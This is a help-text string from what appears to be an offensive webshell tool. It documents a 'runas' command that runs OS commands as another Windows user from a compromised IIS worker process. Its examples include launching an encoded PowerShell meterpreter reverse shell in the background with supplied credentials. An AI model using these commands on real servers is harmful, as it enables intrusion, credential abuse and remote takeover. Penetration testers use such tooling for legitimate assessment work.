|
|
complete_help = r"""
|
|
This module permits run cmd /c runas command from a local service in a new process running as a specific user.
|
|
It runs the following Win32 System Calls 'LogonUser' -> 'DuplicateTokenEx' -> 'CreateProcessAsUser' in order
|
|
to spawn a new process out of calling thread of w3wp.exe.
|
|
The calling process will wait until the end of the execution of the spawned process.
|
|
The two processes will communicate through 2 pipeline files (1 for stdout and 1 for stderr).
|
|
The default logon type is 3 (Network_Logon).
|
|
If you set Interactive (2) logon type you will face some restriction problems.
|
|
If you need to spawn a background or async process, i.e. spawning a reverse shell, set the argument
|
|
'process_timeout_ms' to 0.
|
|
|
|
Usage:
|
|
#runas os_command username password [domain] [process_timeout_ms] [logon_type]
|
|
|
|
Positional arguments:
|
|
os_command command supported by cmd.exe
|
|
username username of the user
|
|
password password of the user
|
|
domain domain of the user, if in a domain.
|
|
Default: ''
|
|
process_timeout_ms the waiting time (in ms) to use in the WaitForSingleObject() function.
|
|
This will halt the process until the spawned process ends and sent
|
|
the output back to the webshell.
|
|
If you set 0 an async process will be created and no output will be retrieved.
|
|
Default: '60000'
|
|
logon_type the logon type for the spawned process.
|
|
Default: '3'
|
|
|
|
Examples:
|
|
Run a command as a specific local user
|
|
#runas whoami user1 password1
|
|
Run a command as a specific domain user
|
|
#runas whoami user1 password1 domain
|
|
Run a background/async process as a specific local user, i.e. meterpreter ps1 reverse shell
|
|
#runas 'powershell -nop -noni -enc base64reverse_shell' 'user1' 'password1' '' '0'
|
|
Run a background/async process as a specific domain user, i.e. meterpreter ps1 reverse shell
|
|
#runas 'powershell -nop -noni -enc base64reverse_shell' 'user1' 'password1' 'domain' '0'
